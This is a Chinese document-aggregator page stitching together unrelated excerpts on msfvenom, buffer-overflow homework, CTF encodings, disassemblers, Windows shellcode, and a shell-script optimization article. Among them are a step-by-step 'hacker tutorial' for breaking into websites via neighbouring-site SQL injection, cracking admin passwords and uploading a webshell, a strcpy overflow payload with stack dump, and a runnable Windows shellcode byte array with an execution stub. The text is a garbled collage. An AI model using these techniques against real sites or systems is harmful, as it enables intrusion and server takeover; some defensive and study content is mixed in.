和encode的功能。经过这两个模块生成的shellcode,要装在的exp中来使用才行,就像弹头安装在导弹上。下面说说具体的使用方式 中文翻译大概是这样(我从网上找的): Options: -p,--payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用�

程序安全之作业

程序安全之作业 一、获取文件overflow.zip,提取Windows可执行文件 1、利用缓冲区溢出,绕过序列号检查 2、正确的序列号 二、如何有效的防范缓冲区溢出 根据缓冲区溢出攻击的步骤,可将常用的缓冲区溢出攻击检测技术分为以下3种类型:基于输入字符串的检测方法,基于保护堆栈中的返回地址的检测方法和基于监视系统调用的检测方法。 1、基于输入字符串的检测方法 对输入的字符串进行检测,确定其为溢出攻击字符串时采取阻拦措施,使攻击者无法注入攻击代码。一般有以下3种方法构建溢出攻击字符串。分别如下图4-1,图4-2,图4-3所示:

图4-1缓冲区大于ShellCode长度 图4-2缓冲区小于ShellCode长度 图4-3将ShellCode放在环境变量里 第1种溢出攻击字符串适用于缓冲区大于ShellCode长度的情况;第2种溢出攻击字符串一般用于缓冲区小于ShellCode长度的情况;第3种方法是将ShellCode放在环境变量里,是目前较为常用的方法。 在第1种和第2种类型的溢出攻击字符串中ShellCode前都加了若干的NOP指令,因为这2种情况下ShellCode的地址无法确定,但只要返回地址指向ShellCode前的任一条NOP指令,ShellCode就可以执行,大大增加了ShellCode执行的可能性。这些NOP指令称为sledge。其他单字节指令如AAA等也可构成sledge。因此缓冲区溢出攻击检测系统可以通过检查输入的字符串中是否含有大量NOP等可构成sledge的指令来判断此字符串是否是溢出攻击字符串。不过这种方法并不适用于检测第3种类型的攻击。但这3种类型的攻击字符串中都含有ShellCode。因此,确定出ShellCode的基本特征,如不含有“0x00”,含有某些特殊的系统调用等,然后利用人工智能、模式匹配、规则匹配等方法检查输入字符串中是否包含ShellCode也可检测出是否有缓冲区溢出攻击发生。这些检测都可以在入侵检测等外围防御系统中实现,优点是实现较为简单,不会增加被保护系统的开销;缺点是漏报率较高,无法检测出无明显特征的溢出攻击字符串。

CTF中那些脑洞大开的编码和加密

CTF中那些脑洞大开的编码和加密 0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进行一些处理,但是会给留一些线索,所以写此文的目的是想给小伙伴做题时给一些参考,当然常在CTF里出现的编码也可以了解一下。本来是想尽快写出参考的文章,无奈期间被各种事情耽搁导致文章断断续续写了2个月,文章肯定有许多没有提及到,欢迎小伙伴补充,总之,希望对小伙伴们有帮助吧!最后欢迎小伙伴来[博 客](https://https://www.doczj.com/doc/46549046.html,/)玩耍:P(ps:由于写文章是用markdown,而论坛编辑器不支持markdown语法,虽然我已经尽力去调整对其字符,可是效果还是不尽人意,如果影响阅读理解可以去博客阅读:P) 0x01 目录 常见编码: 1.ASCII编码 2.Base64/32/16编码 3.shellcode编码 4.Quoted-printable编码 5.XXencode编码 6.UUencode编码 7.URL编码 8.Unicode编码 9.Escape/Unescape编码 10.HTML实体编码 11.敲击码(Tap code) 12.莫尔斯电码(Morse Code) 13.编码的故事 各种文本加密 换位加密: 1.栅栏密码(Rail-fence Cipher) 2.曲路密码(Curve Cipher) 3.列移位密码(Columnar Transposition Cipher) 替换加密: 1.埃特巴什码(Atbash Cipher) 2.凯撒密码(Caesar Cipher)

打造自己的反汇编引擎——Intel指令编码学习报告

打造自己的反汇编引擎——Intel指令编码学习报告 作者:egogg 时间: 2008-10-22,13:28 写在前面: 学习Intel指令格式已经有近一个月了,本来想把整个反汇编引擎写完整之后再发布源代码和学习报告的,但是,最初的热情过后,剩下的就是辛苦劳动了,现在实在太累了,似乎有点写不下去的感觉了,所以我还是打算,边总结学习的过程,边完成整个反汇编引擎:一方面,希望论坛里对指令解码知识感兴趣的朋友,高手给些鼓励;另一方面,希望能和这些朋友们讨论程序中的bug,讨论整个反汇编引擎的架构(这个我会在后面的学习报告中详细说明我所了解的一些架构)。学习新的知识是一件很令人高兴和满足的事情,但是能和别人分享学习的经验,更令人快乐。 学习指令编码格式的好处有很多,我在这里提一些吧: 一、加深对指令的了解。并不是用汇编语言写出的程序速度就一定比其他高级语言快,或者说节省空间,现在大部分的编译器做得比一般的汇编语言初学者,甚至是有一定编程经验的人都好,对一些汇编指令有所了解后,可能利用这些指令写出符合特定条件的好的代码,不管是用在shellcode还是用在关键代码的性能优化方面都有好处。例如:Svin的教程中就有一个题目: 用四个byte实现下列的算法:(opcode hack) IF ZF=1 inc eax ELSE mov al,40 再有,现在的高级语言因为执行效率的原因,一般都舍弃用leave和enter指令,然而这些指令有着空间的优势……等等,此外,学习了指令编码之后会对intel的寻址模式有一个更为深刻的了解。 二、学习了指令编码可以软件保护中的很多技巧如花指令等有更深刻的了解。 三、如果这些小的技巧实在是不值一提,那么如果想些一个虚拟机架构的话,就必须对这些指令有所了解。 …… 由于我是一个菜鸟,所以有很多说不清楚的地方,还希望高手指正,毕竟,讨论才是学习永恒的主题。本来打算,把这些学习报告发在新手区的,但是看到这个版块有一个专题,就发到这个地方了。很多高手可能想自己学习研究,我会提前把我找到的所有的资料都列在附件中。 实验反汇编引擎介绍:(原代码下载:dasm.rar) 引擎采用了最直观,当然也是最笨拙的方法,switch...case,代码虽然不够简练,但是执行效率和整体结构还是很清楚的,代码的解析和识别只剩下力气活了。 反汇编引擎目前的进度: 基本框架已经实现,能解析的指令大约200多条,2-byte的指令还不能解析,浮点指令和mmx指令的解析都还待完成。

7.Windows Shellcode

7 Windows Shellcode 本书一位作者的女友经常说写shellcode很容易,凭心而论,在Linux上是不太难,但在Windows上还是有一定难度的,有时候会使人垂头丧气。在开始学习本章之前,我们将先回顾一些shellcode的要点,然后研究Windows shellcode那令人着迷的特性。沿着这条主线,我们还将讨论A T&T与Intel句法间的不同,某些Win32漏洞给我们带来的影响,并探讨高级Windows shellcode的发展方向。 句法和过滤器 首先,不使用编码器/译码器又能工作,而体积又很小的windows Shellcode少之又少。无论如何,如果有许多破解代码需要你去完成,你可能会想到在破解代码中采用编码器/译码器API来避免经常调整shellcode。例如Immunity CANV AS就使用了“附加的”编码器/译码器。也就是说,它把shellcode视为一组unsigned long列表,把列表中的每个unsigned long 加上x(x可以通过不断重试随机数来找到),经过这样的,会得到一组新的没有坏字符的unsigned long列表。虽然编码器/译码器工作得很好,但还是有人乐意使用XOR、character-或word-based之类的方法。 重要的是:应该牢记译码器只是把x扩展到不同字符范围的y=f(x)函数。如果x仅仅包含小写字母,那么可以把f(x) 看作是把小写字母转换成二进制字符并转到那里的函数;当然,也可以把f(x) 看作是把小字字母转换成大字字母并转到那里的函数。换句话说,当你遇到设置严密的过滤器(译注:现在有很多程序在接受用户输入时,会过滤一些恶意字符)时,不要急于一次解决所有的问题,尝试使用多重解码,把攻击串分段转换为二进制等方法,可能会更容易些。 在本章,我们不介绍编码器/译码器,并假设你知道怎样把二进制数据复制到进程空间并跳到它。只要你会写Linux shellcode,就应该能编写x86汇编代码。我写windows shellcode 和写Linux shellcode一样,使用相同的工具。从长远来看,熟练掌握几种工具会使编写shellcode变得更轻松。依我之见,不必花大把的钞票购买Visual Studio,免费的Cygwin (https://www.doczj.com/doc/46549046.html,)就不错。安装Cygwin可能有点慢,所以你可以试着运行某个程序(gcc,as,或其它),来确认安装是否完成。当然,有些人喜欢用NASM或其它的工具,但我认为这些工具在编辑代码及测试时略有不便。 X86 A T&T 与Intel 句法的对比 在X86汇编代码格式里,A T&T与Intel句法有两个主要的不同点。第一个是A T&T句法使用[助记符source,dest];而Intel使用[助记符dest,source]。当人们用GUN的gas(A T&T 使用),OllyDbg(Intel 使用)或其它的Windows工具查看汇编代码时,这种互相颠倒的形

【IT专家】使用缓冲区溢出来执行shell代码

本文由我司收集整编,推荐下载,如有疑问,请与我司联系 使用缓冲区溢出来执行shell 代码 使用缓冲区溢出来执行shell 代码[英]Using buffer overflow to execute shell code I’ve been learning computer security lately and come across a couple problems, and i’m having some trouble with this one in particular. 我最近一直在学习计算机安全并遇到一些问题,特别是我遇到了这个问题。 I’m given a function with a fixed buffer I need to overflow in order to execute shellcode in the file shellcode. The function is quite simple: 我给了一个带有固定缓冲区的函数,我需要溢出才能在文件shellcode 中执行shellcode。功能很简单: void vuln(char *str) { char buf[64]; strcpy(buf, str); //function provided to display stack on command prompt dump_stack((void **) buf, 21, (void **) str); My initial guess was to modify the return address, the eip, of the function in order to locate and execute what is in the shellcode file, but i realized I have no address to the file I can represent in a hexadecimal value. I am pretty sure I need to manipulate the return address, so currently what i’m calling is: 我最初的猜测是修改函数的返回地址,eip,以便找到并执行shellcode 文件中的内 容,但我意识到我没有地址到我可以用十六进制值表示的文件。我很确定我需要操 纵返回地址,因此我目前正在调用的是: //the string is passed as a command line arg./buffer_overflow_shellcode $(python -c “print‘A’*72 + ‘\x41\xd6\xff\xff’“) my output is: 我的输出是: Stack dump:0xffffd600: 0xffffd7fd (first argument)0xffffd5fc: 0x08048653 (saved eip)0xffffd5f8: 0xffffd641 (saved ebp)0xffffd5f4: 0x414141410xffffd5f0: 0x414141410xffffd5ec: 0x414141410xffffd5e8: 0x414141410xffffd5e4: 0x414141410xffffd5e0: 0x414141410xffffd5dc: 0x414141410xffffd5d8: 0x414141410xffffd5d4: 0x414141410xffffd5d0: 0x414141410xffffd5cc:

黑客高级教程

黑客高级教程[怎么样入侵一个网站] [转贴2006-11-04 13:12:57] 字号:大中小 到一年岁末时,回首全年,在2005年里黑客圈出现了许多新的攻击技术,也发布了许多黑客攻击利器,想知道2005年哪种攻击方式最流行,哪个黑软最凶猛,哪个漏洞最危险,那就看看这篇文章吧! 一、最流行的网站入侵手法——“旁注” 在2005年网站入侵攻击中,注入技术依然是首选,不过更注重攻击中“发展思维”的黑客们,将“旁注”的威力发挥到了极限,使得一个又一个的网站被攻击关闭………… 1.“旁注”简介 “旁注”,顾名思义就是从旁注入,也就是当入侵攻击某个目标网站A时,在无直接利用该主机系统的漏洞进行攻击的情况下,可以考虑通过放在同一服务器上的网站B中存在的漏洞进行入侵(如图1所示,通过网站“whois.w https://www.doczj.com/doc/46549046.html,”可查询到位于同一服务器上的其它网站)。 2.“旁注”已入寻常黑客家 以往的旁注攻击由于过程比较麻烦,因此旁注并没有被众多普通的黑客所掌握。不过2005年中,一些傻瓜化的黑客工具被开发出来,旁注也开始流行与推广开来。 步骤一:查询旁注网站 运行旁注入侵工具“Domain v3.5”后,点击“旁注检测”选项卡,在“输入域名”中输入要入侵的网站地址“www.w https://www.doczj.com/doc/46549046.html,”,点击右边的“>>”按钮,可得到该网站的IP地址。然后点击“查询”按钮,得到该IP地址对应服务器上所放置的所有网站域名列表(如图2)。 0 && image.height>0){if(image.w idth>=700){thi s.width=700;this.height=image.height*700/image.w idth;}}"> 步骤二:寻找注入点 点击“SQL注入”选项卡,再点击界面中的“批量扫描注入点”按钮,切换到注入点扫描页面。点击页面中的“载入查询网址”按钮,即可将刚才得到的网址载入左侧的待扫描列表中。再点击“批量分析注入点”按钮,即可开始自动扫描所有网站中可能存在的注入点了(如图3)。 0 && image.height>0){if(image.w idth>=700){thi s.width=700;this.height=image.height*700/image.w idth;}}"> 由于要同时扫描多个网站中存在的注入点,可以适当的调节加大工作进程到30左右,以加快扫描速度。 扫描过程中,待扫描的链接地址显示在“连接地址”中,存在注入漏洞的链接地址将会以红色显示在“注入点”列表中。可以看到总共扫描到了79个注入点。 步骤三:注入攻击 这里我们选择了列表中的第一个注入点,然后右键点击该条链接地址,在弹出菜单中选择“注入检测”命令,打开注入分析页面(如图4)。点击页面中的“开始检测”按钮,即可开始分析该注入点能否成功注入。分析结束后,在“检测信息”中显示可成功注入,并显示了数据库类型“Access”。继续依次点击界面中间“猜解表名”→“猜解列名”→“猜解内容”按钮,就可以自动分析猜解出数据库的管理员帐号和密码,并显示在右边的列表框中。 步骤四:扫描后台 点击页面中的“管理入口”按钮,切换到后台登录地址扫描界面。选择“从当前目录开始扫描”项,点击“扫描后台地址”按钮,得到后台登录地址(如图5)。右键点击该地址,选择“打开”命令,输入刚才猜解出来的管理员用户名和密码,就可以成功的登录后台上传Webshell木马控制整个服务器啦! 0 && image.height>0){if(image.w idth>=700){thi s.width=700;this.height=image.height*700/image.w idth;}}"> Domain v3.5将旁注的几个繁琐步骤全部集成到了一个工具之中,使用起来极为方便。另外,在Domain v3.5中还集成了其它常见的网站入侵功能,包括暴库、上传漏洞利用、P HP注入、MD5密码破解等,功能极为强大。

WIN7弹窗消息SHELLCODE

MessageBoxA(NULL,"ME","YUM",0); 下面这个可以真正弹MSGBOX,就是调用上面的。WIN 7下实测完全没问题 char shellcode[] = "\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53" "\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\xDE\x31\xC9\x41\xAD\x01\xD8\x81" "\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64" "\x64\x72\x65\x75\xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE" "\x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72" "\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x31\xC0\x66\xB8\x6C\x6C" "\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50" "\x31\xC0\xB8\x6F\x78\x41\x23\x50\x83\x6C\x24\x03\x23\x68\x61\x67\x65\x42\x68\x4D" "\x65\x73\x73\x54\xFF\x74\x24\x10\xFF\x54\x24\x1C\x83\xC4\x0C\x50\x31\xC0\x66\xB8" "\x4D\x45\x50\x54\x31\xC0\xB8\x59\x55\x4D\x23\x50\x83\x6C\x24\x03\x23\x54\x31\xC0" "\x50\xFF\x74\x24\x04\xFF\x74\x24\x10\x31\xC0\x50\xFF\x54\x24\x20\x83\xC4\x10"; ((void (_stdcall*)())&shellcode)();//USE THIS ONE IS OK int main(int argc, char **argv) { _asm { lea eax,shellcode call eax } }

技巧:一个 Shell 程序的性能优化

化 级别: 中级 许四化(vahala.sihua@https://www.doczj.com/doc/46549046.html,), 新疆电信业务支撑中心 2006 年10 月30 日 编写Linux Shell 脚本程序不要仅限于完成基本的程序功能,认真的分析Shell 脚本并找出优化的方法对个人能力的提高以及对脚本程序的质量改善都有重要的意义,希望读者能从本文中获得许多实用的Shell 程序方法。 本文Shell 程序运行环境: ?程序运行环境Redhat Linux As3 ?GNU bash, version 2.05b.0(1)-release (i386-redhat-linux-gnu) ?代码清单:shellcode.txt 问题描述:有一个普通的通话话单文件(包括"计费号码","主叫号码","被叫号码","开始时间","结束时间","时长","费用"等其它字段),要求根据另外一个号段配置文件(由"号段下限"和"号段上限"两个字段组成)将此话单文件进行分拣过虑。 分拣规则:如果通话话单文件中的"计费号码"位于号段文件的某个号段内,则将此条记录计入结果文件1,否则计入结果文件2。 通话话单文件样例: 号段配置文件样例:

例如: 对于通话话单文件的第一条记录中的"计费号码"为9013320000,此号码正好属于号段配置文件的第一个号段9013305000,9013327999中,即:条件9013305000<= 9013320000 <=9013327999 成立,所以应该将通话话单文件的第一条记录计入结果文件 1 中;对于通话话单文件中的第二条记录的"计费号码"为9926645208 它不属于号段文件中的任何一个段,所以应该将通话话单的第二条记录计入结果文件 2 中。 对于这样一个简单的问题首先想到的解决方法为: 解决方法1: 写一个双重循环,外层循环为逐条读取"通话话单文件"并获取每条记录的第一个字段的值"计费号码",内层循环:根据外层循环获得的"计费号码"在"号段文件"中循环比较,判断此号码是否属于相应号段。 程序代码如下(省略了文件存在性判断等语句): while read f do org="$(expr substr ${f} 1 10)" #取得"计费号码"存入变量org中 while read numseg do nglow="$(expr substr ${numseg} 1 10 )" #将号段下限存入变量nglow ngtop="$(expr substr ${numseg} 12 10 )" #将号段上限存入变量ngtop if [ "$org" \> "$nglow" -a "$org" \< $ngtop ] #判断"计费号码"是否在此号段内 then echo "${f}" >> ./resultfile1.cdr #如果在此号段内,将此记录计入结果文件1中 else echo "${f}" >> ./resultfile2.cdr #如果不在此号段内,将此记录计入结果文件2中 fi done < ./numseg.txt done < ./rttest.txt 解决方法1 对于号段文件和通话话单的记录数都比较少的情况下基本可以完成工作,但是当两个文件的记录数较多(例如号段文件>50条,话单文件>10000条)的时候,这种方法就会花费几个小时甚至几天的时间才能得出处理结果。此脚本程序执行慢的原因是对第二个循环内的比较运算只用了最简单的顺序比较方法,所以当号段文件的记录增多的时候,脚本的执行速度会急剧下降。 解决方法2: 将内层循环的逐个比较的方法改为二分查找法进行判断,程序代码如下:

相关主题
文本预览
相关文档 最新文档